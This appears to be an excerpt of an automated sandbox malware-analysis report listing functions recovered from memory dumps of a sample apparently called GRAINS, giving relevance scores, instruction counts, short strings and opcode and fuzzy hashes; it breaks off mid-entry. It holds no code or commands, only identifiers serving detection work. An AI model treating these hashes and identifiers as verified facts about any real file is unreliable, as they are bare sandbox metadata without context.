Instruction ID: 0c3d93952773fdfa422f6249ce9b4a9c9389c2469671e3b32a64b25eb35156c9
Opcode Fuzzy Hash: 30fce3b588f3b176a61758b1fb703d9f75fc143fc3ece2f3cb4751ae4e66f2e2
Instruction Fuzzy Hash: 9CF0A4B8D01229EFCB61DF54D944BDDBBB1BB58300F108595E649B7244D7B46E80CF40

Function 0A5376BD Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

5, xrefs: 0A53770E

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 4c8cdbf686e1717412d4b074d11321fcef57cb45413186ba03570d5a09d4c091
Instruction ID: 384511638fc4f19ff2e2e3b6a87e02ad12f27d76a789fa97d3fa93f5268add6a
Opcode Fuzzy Hash: 4c8cdbf686e1717412d4b074d11321fcef57cb45413186ba03570d5a09d4c091
Instruction Fuzzy Hash: C6F015B49002189FCB69CF10D990ADDB7B5FF48300F0095DAC90AA7351DB30AE86CF10

Function 04F4BE88 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

NCXL, xrefs: 04F4BE94

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID: NCXL
API String ID: 0-626727276
Opcode ID: 9d98f0e2ee19b1d809f2597e6ee1c6085f55365c46269491c936f7cdc4770d46
Instruction ID: b159c47e5e2dbdf34ab5d129d643870faf2068b5535c0a22a81e97247e81dd69
Opcode Fuzzy Hash: 9d98f0e2ee19b1d809f2597e6ee1c6085f55365c46269491c936f7cdc4770d46
Instruction Fuzzy Hash: DAE0C2313006209FC384EBBDE40994937EAAFCD62131081A5EE0EC7320DE34DC828BA1

Function 0A3B36AB Relevance: 1.3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

#, xrefs: 0A3B36E6

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: ed7ac13fe8d68b70dcde9fc0548e17ce0859cd1d868ed7c2218cf1005e790640
Instruction ID: 76c171435e29dc0a66c1d6ad823c23b218d370b1ee35000b30bf5e0ad8e3969c
Opcode Fuzzy Hash: ed7ac13fe8d68b70dcde9fc0548e17ce0859cd1d868ed7c2218cf1005e790640
Instruction Fuzzy Hash: ECE092B4D0421C9FCB65CF68D5556DDBBB1FF4D300F0051AACA1AA3780D7745A858F51

Function 0A48071A Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

S, xrefs: 0A480728

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID: S
API String ID: 0-543223747
Opcode ID: 1c74225b305be684bdff811f5c0079248f0988e84850a2acd2fbc4d4c552f5a0
Instruction ID: 44a610121c2485f9710408bafb71972e7f8f72a2db13798a6b3dcafd36c7178b
Opcode Fuzzy Hash: 1c74225b305be684bdff811f5c0079248f0988e84850a2acd2fbc4d4c552f5a0
Instruction Fuzzy Hash: 56E046B4910728DFDB219F24EC48B9A77B1AB8120AF0042C6810D23252C7781ACCCF01

Function 0A53741E Relevance: 1.3, Strings: 1, Instructions: 13COMMON

Download Yara Rule

Strings

;, xrefs: 0A537450

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID: ;
API String ID: 0-1661535913
Opcode ID: 55f7c65f53603c50601e44256083e960cc4fde0959d262720877dfbd5fa0d51e
Instruction ID: a7796643083509c0853529096a647f9ebba318789af82055e8325e8efbc096f8
Opcode Fuzzy Hash: 55f7c65f53603c50601e44256083e960cc4fde0959d262720877dfbd5fa0d51e
Instruction Fuzzy Hash: 93E0BD798092288FCB60CF21D848BEEBBB1BB08355F0085DAC50963254C3389B89CF40

Function 0A420448 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63993f467852ad4ca6e1e7bf5a31d51c2855f7e6546389fc616c47badaf547a8
Instruction ID: 3254631f123156a8be303e17dc108b349a6efa7503061d6ce18ee8d784db6f01
Opcode Fuzzy Hash: 63993f467852ad4ca6e1e7bf5a31d51c2855f7e6546389fc616c47badaf547a8
Instruction Fuzzy Hash: 74520975A002288FEB64DF69C984BDDBBF2BF88300F5581DAE549A7351DA309D81CF61

Function 078E00F0 Relevance: .6, Instructions: 553COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1545743564.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_78e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d49f2b0117100940a9c93d378cd97360abcc4f07f960063c5eac6c89853d93b8
Instruction ID: cb749b4cd213d16bac3485c9d45a4cee79c7c79a21f898972c02f7325cf38b1d
Opcode Fuzzy Hash: d49f2b0117100940a9c93d378cd97360abcc4f07f960063c5eac6c89853d93b8
Instruction Fuzzy Hash: D6025BB1B0430A8FDB259F7884003AABBA5AFD7215F34887AD855DF251EB71C882C791

Function 0A48F7B8 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 669ea37fd9e7a0a017d51d1ddffcccb320c965b7f07c0184069e3932e5aec3f8
Instruction ID: 1bd2cf5e6312ab22366d43621e62e50f12a2d4b0dcdf7591181718f838722971
Opcode Fuzzy Hash: 669ea37fd9e7a0a017d51d1ddffcccb320c965b7f07c0184069e3932e5aec3f8
Instruction Fuzzy Hash: ED229C75B002049FDB04DFA8E494A6EB7F2FF88310F15806AE916AB391CB75EC45CB90

Function 0A3BDB38 Relevance: .5, Instructions: 486COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5a218f2c9d6829489cec0d1c05a3b22e1272fa71606079e913f045c5b934be
Instruction ID: 974ffc9a789a0ecdaf9eb65f9ffcd969fc8a2f7a712b82b0f5596f59608e8e07
Opcode Fuzzy Hash: 4b5a218f2c9d6829489cec0d1c05a3b22e1272fa71606079e913f045c5b934be
Instruction Fuzzy Hash: 11125A70A102049FDB24DFA9D884AAEB7B2FF88304F24856DD5469B791DB35EC46CB50

Function 0A423850 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebae2371e25440ffc10c240bcd9d841548e9cc2abdf97eaa924e5ca5ddf0218f
Instruction ID: da528c73a5ec6940ad69e2809d6a0d79992495a5bd8db15c666361d2b2de898f
Opcode Fuzzy Hash: ebae2371e25440ffc10c240bcd9d841548e9cc2abdf97eaa924e5ca5ddf0218f
Instruction Fuzzy Hash: 7812E834A102198FDB14EF68C894B9DB7B2FF89300F5185A9D54AAB356DB34ED86CF40

Function 0A4216F0 Relevance: .4, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 989f8e4f4392ec614c869da9a209ff1122a90394e6e4ba0fe067440778c886fb
Instruction ID: 8572b53ec31ee82cc9b90d1b3c44785a84188631a266901c0db5d2cab88da0dc
Opcode Fuzzy Hash: 989f8e4f4392ec614c869da9a209ff1122a90394e6e4ba0fe067440778c886fb
Instruction Fuzzy Hash: 87E1C5747002529FFB14EF79C50472EBAF2EF84301F55426ADA96CB391EA34DD428BA1

Function 0A3BF460 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83922d2faf28a946c5adb48c8e80b67c2bb9f95ff95ac757367ae45a4a60cbaa
Instruction ID: fb8108ccf8eda6b88f487ac9b4219ef43e194b4dbb235859943f36aeb0d0c48a
Opcode Fuzzy Hash: 83922d2faf28a946c5adb48c8e80b67c2bb9f95ff95ac757367ae45a4a60cbaa
Instruction Fuzzy Hash: BEF1DC34A10218DFDB04EFA4D998A9DB7B2FF88301F158159E906AB7A5DB71EC42CF50

Function 078E52E0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1545743564.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_78e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5031dd89ca800d4a5bfcd3f6c7b678f6174d3cf53a350f39dec799cc0e12cc3e
Instruction ID: b0f1ee482868b4c7e6233f3fbb43ed9ee36f7acab8e21afc30661cd760568164
Opcode Fuzzy Hash: 5031dd89ca800d4a5bfcd3f6c7b678f6174d3cf53a350f39dec799cc0e12cc3e
Instruction Fuzzy Hash: D3F1F5B4D01219DFDB18DFA4E9986ADBBB6FF4A309F204429E416A7390DB346D85CF40

Function 0A423F48 Relevance: .4, Instructions: 360COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f5fc12434c7c92354e5321ed468f65f65c0a3c1fa49a7beb4f9985f2e1070fb
Instruction ID: a9a0de78c9118acdb6080e6555cde40c01e552320ce377b26a4b3a8f61771e1a
Opcode Fuzzy Hash: 4f5fc12434c7c92354e5321ed468f65f65c0a3c1fa49a7beb4f9985f2e1070fb
Instruction Fuzzy Hash: F8E16134B11219DFDB04EFA4D5949ADBBB2FF88310F518569E902AB365DB34EC42CB90

Function 04F4832C Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da701f2df8121c4245d492b3825fe8205e7848c61f4799ed1e1f279c36cbb13e
Instruction ID: 4ea637a20f3dbe99a6983dd32abcb504e0647bc4cd467b28b9b9ef51ef0d31ce
Opcode Fuzzy Hash: da701f2df8121c4245d492b3825fe8205e7848c61f4799ed1e1f279c36cbb13e
Instruction Fuzzy Hash: 35D11235700204DFDB08EF68C990EAD77F2BF89354B1185A8E9169B3A1DB35ED46CB90

Function 04F475E8 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de1ca2b5e6d5c0ae11455301ab3fc0520aeb42f26556c9163b7035f46e474743
Instruction ID: 1da887a18ad37de3f1acceca7fc9034abf6327ded4d2630e8bfef3ba36282186
Opcode Fuzzy Hash: de1ca2b5e6d5c0ae11455301ab3fc0520aeb42f26556c9163b7035f46e474743
Instruction Fuzzy Hash: 85C19E35A00248DFDB14EFA8C944A9DBBF2FFC5314F158559E806AB365DB34AD4ACB80

Function 0A420439 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 503ab33ab7449ec07e87e2d233e81bd7d499b5a56a332094f94c194888d7a84c
Instruction ID: bcf93abde3ad1b082fdd2e1ab5cf0bf8eaa5f72a41ae808ff72d70fc9999f5df
Opcode Fuzzy Hash: 503ab33ab7449ec07e87e2d233e81bd7d499b5a56a332094f94c194888d7a84c
Instruction Fuzzy Hash: 8BC13F74A002288FEB18DB68C945BDEBBF6EF88701F55809AD549A7351CB31DD81CF61

Function 078E0CF8 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1545743564.00000000078E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_78e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 032ce8d5801d69b00a0882a9880a7faea68fe7b71cbb3b75a979a236c922050c
Instruction ID: 9049394953ae4899b5ac559916465b1e845b5218d5df80650e7be6a88670e4cd
Opcode Fuzzy Hash: 032ce8d5801d69b00a0882a9880a7faea68fe7b71cbb3b75a979a236c922050c
Instruction Fuzzy Hash: 74A15AB0B0430B8FDB289F64D45076ABBB9EF97200F2488BAD805CB291DB71D845D792

Function 0A48B768 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad062fd0b35a448e1e5062cdd8289c676d0938ba8c5b1709f44a045df44487a1
Instruction ID: 323d3c0bdf5108d368b586fedcbb1869d01f6af2542f762ee5793e7f3fc8dd9c
Opcode Fuzzy Hash: ad062fd0b35a448e1e5062cdd8289c676d0938ba8c5b1709f44a045df44487a1
Instruction Fuzzy Hash: 51A19C78B01204DFDB15EFA5E448AAEBBB2EF88341F1440AAE8519B391CA75DD42CF50

Function 0A534F3B Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571600349.000000000A530000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a530000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32fb519e5b59562b3f2a22218b15d3277b1a9a70d807033d844733f1f5ac103e
Instruction ID: e7c7fcde8bb1cdaade0c5f16a928108ec145b34d5224824bf937983c383a3f5d
Opcode Fuzzy Hash: 32fb519e5b59562b3f2a22218b15d3277b1a9a70d807033d844733f1f5ac103e
Instruction Fuzzy Hash: 15C11874A00218DFDB64DF69D858B9EB7B2FF89301F1080AAD90AA7355DB34AD85CF50

Function 0A423841 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91d9a06cce4cd127613d0dc16f9757473cdd7304082bb7b3037a1aa720b59763
Instruction ID: 9a9cfbb0e4fbbb5d4dd8b1f051bd8c294cc08109b8cf266e3c29994d9b3e5b17
Opcode Fuzzy Hash: 91d9a06cce4cd127613d0dc16f9757473cdd7304082bb7b3037a1aa720b59763
Instruction Fuzzy Hash: 18A1FA34B102258FDB14DF24C894B9AB7B2BF89300F5185A9D54AAB352DF34ED85CF40

Function 0A4247F8 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a5a98924486ad8e0a7817bb92bceef423fe53e0f674cb18785a5f12de676ae
Instruction ID: 7361e0163db67f223224de7874a91dd7bd89a796a98397a77cdf4ff507006266
Opcode Fuzzy Hash: c9a5a98924486ad8e0a7817bb92bceef423fe53e0f674cb18785a5f12de676ae
Instruction Fuzzy Hash: D0816B347102149FDB04DF68D494AAEB7B6FF88710F5481AAE516DB3A2CB30EC42CB90

Function 0A42DCE9 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 698304c67af25f64765f0b0aa56763885f599d5b7e5c3d14a7a971cd5c0f28b1
Instruction ID: fbe5841fa424f32ef2c9a7a64cfcd1681cf045871d6011520ac26163ca51aa5e
Opcode Fuzzy Hash: 698304c67af25f64765f0b0aa56763885f599d5b7e5c3d14a7a971cd5c0f28b1
Instruction Fuzzy Hash: E5A13A78E04228DFEB64CF99D888B9EBBF2FB49304F5091AAD419A7385D7744985CF40

Function 0A42AA62 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77c7062991bddf98f496f531706180201e28e68b3043a592000d290bc4b5192
Instruction ID: c4bac281229ef8fa16f5cb94eaf2346e11cb8a1b121b15fcb4123aa343f26d69
Opcode Fuzzy Hash: e77c7062991bddf98f496f531706180201e28e68b3043a592000d290bc4b5192
Instruction Fuzzy Hash: 829115B8D04218DBEB20CF99D5487EDBBF2FB49345F90907AC925A7245D7B8498ACF40

Function 0A42AA70 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e6b50521ede1795c2cf1da582562f53417a07f17cba785d1c140eff753efc79
Instruction ID: 8939f8cf9656fe770ffb1bb2ee4b1e90fa6910365a060058d88bdec776536ecc
Opcode Fuzzy Hash: 7e6b50521ede1795c2cf1da582562f53417a07f17cba785d1c140eff753efc79
Instruction Fuzzy Hash: E19105B8D04218DBEB20CF99D5487EDBBF2FB09345F90907AD925A7245D7B8498ACF40

Function 04F42DF0 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc7d9f3eb7f3075be4cad236c220c622d4ede72cad19a76f695ac1e8001af8ed
Instruction ID: d60cf43b67b06a91335b07e6bf2e0ae2ebd2d3468361488605d4618621b2dc11
Opcode Fuzzy Hash: cc7d9f3eb7f3075be4cad236c220c622d4ede72cad19a76f695ac1e8001af8ed
Instruction Fuzzy Hash: 9591B374A00205CFCB15CF58C494AAEFBB1FF89314B2586A9E8159B755C736FC52CBA0

Function 0A428C90 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dbbc7bfe6679772931786aeafcef98f73182e68449ac150027315d399a34584
Instruction ID: 024f411baed0323cd063fdbdb1fc87051175129c1cb7b69bd47df140aa3c5c24
Opcode Fuzzy Hash: 3dbbc7bfe6679772931786aeafcef98f73182e68449ac150027315d399a34584
Instruction Fuzzy Hash: 7E71AD75B006199FEB64DFA9C5406AFB7F2FFC8300B64846AD569A7344DB30E906CB50

Function 0A42AD51 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e9bc26d48e5afc1fd7b6f7f148022407ef1e5d412df263b1e423c5209cc9a54
Instruction ID: d77f161b53458880e34c0dfe8a1993284b9cc8a5eab963b7c51e4c95ee119404
Opcode Fuzzy Hash: 0e9bc26d48e5afc1fd7b6f7f148022407ef1e5d412df263b1e423c5209cc9a54
Instruction Fuzzy Hash: 6181E378D04218DFEB20CFA9D5487EDBBF2BB09386F90907AC925A7245D7784986CF41

Function 0A7FBC50 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 724b29e6a3fdc374111a2ea783abfa74881dc88884b1513a344022c03ab819c3
Instruction ID: d296db06a63139fc813acb081120027478206eee8379f04d545497b0f6253ba0
Opcode Fuzzy Hash: 724b29e6a3fdc374111a2ea783abfa74881dc88884b1513a344022c03ab819c3
Instruction Fuzzy Hash: 33815A70E05208EFDB14DFA4E5946AEBBB2FF89301F10842AD606AB355CB345E49CF91

Function 0A3B2BC1 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ab68501d4328b8d00cb09d8ebd0d132bdfd6b8212217d68982f1ab7221860da
Instruction ID: a1887da9ef80693626ccdd70d9cce5333d3dbaa6fc673f4fb2402b2c1c952fd3
Opcode Fuzzy Hash: 6ab68501d4328b8d00cb09d8ebd0d132bdfd6b8212217d68982f1ab7221860da
Instruction Fuzzy Hash: 6D8126B4E00208AFDB54DFA5E5986DEBBB2FF89300F10812AD916A7794DB349946CF50

Function 04F47DB0 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2701174e6a57a42933cba31d2b65d4d19731598ef0a91d854385d52539a6463f
Instruction ID: 130b904a0d056cbf8d32fead2fa1046a7c51aa5fbceeb18c0653a804baf3aa34
Opcode Fuzzy Hash: 2701174e6a57a42933cba31d2b65d4d19731598ef0a91d854385d52539a6463f
Instruction Fuzzy Hash: 4A71AB30A04209CFDB24EF68C884A9EBBF2FF85354F14866AD415DB651DF34AC46CB90

Function 04F47F1E Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0340c13d54bbf4430d4ecc74283dad8a326f733cccc4ce18bd400916130a2993
Instruction ID: 3ae6fd454671637245c14a2ed17f06ad0646eaf96e349aa25f25e25677043bc8
Opcode Fuzzy Hash: 0340c13d54bbf4430d4ecc74283dad8a326f733cccc4ce18bd400916130a2993
Instruction Fuzzy Hash: 18711A30A00208DFDB14EFA5D894AADBBF2BFC8354F148529D412AB750DF75AD4ACB51

Function 0A42C598 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4f86283c540fc9985643159bf71f90fbb57b5a71ac942d7ce30fa1d4f284c21
Instruction ID: 16be5c5b7dee65c8e10210aa51fe77cae67fc7a8228fb26905d2b1b915df9655
Opcode Fuzzy Hash: e4f86283c540fc9985643159bf71f90fbb57b5a71ac942d7ce30fa1d4f284c21
Instruction Fuzzy Hash: D0710774D05218DFEB64CFA9D4847ADBBF2FF89301F64A06AC419A7251D774988ACF00

Function 0A42C5A8 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04bcb72dbc0ad9611d9ae4fe63bebb534fe5e5c3e2501457a14eea9d5c6915bd
Instruction ID: 6caa5ba3e455a7507fdbe7c831527a9f1208cf38e72fe942316f58314b5fc497
Opcode Fuzzy Hash: 04bcb72dbc0ad9611d9ae4fe63bebb534fe5e5c3e2501457a14eea9d5c6915bd
Instruction Fuzzy Hash: D971F678D04228DFEB64CFA9D4847ADBBF2FF89301F64A02AD519A7251D7749886CF10

Function 0A48E228 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4db704418b40a339e82acfb71dcf31adb82fe73ae51418685c80c6530d46af51
Instruction ID: 7dea70b8731a7c5ed51e4b4c2cc42cc383283df5102af7efe778c1c991bc6f1d
Opcode Fuzzy Hash: 4db704418b40a339e82acfb71dcf31adb82fe73ae51418685c80c6530d46af51
Instruction Fuzzy Hash: 4951AC747002109FEB19AF78D41862E77B2EFC9701B2444ADD9469B3A1DF35EC06CBA1

Function 0A3B2BF8 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 471190fe2879f32daf5110ef4d049af551f50f3018f51d52aa65c8aec28e49f6
Instruction ID: 4d0731c7be2f3655508ed5e25d34f31d956b644ba9d9c026889227be3f7220b5
Opcode Fuzzy Hash: 471190fe2879f32daf5110ef4d049af551f50f3018f51d52aa65c8aec28e49f6
Instruction Fuzzy Hash: 677137B4E002089FDB54DFE5E5986DEBBB2FF89300F10812AD916A7794DB349946CF50

Function 0A3B2C08 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

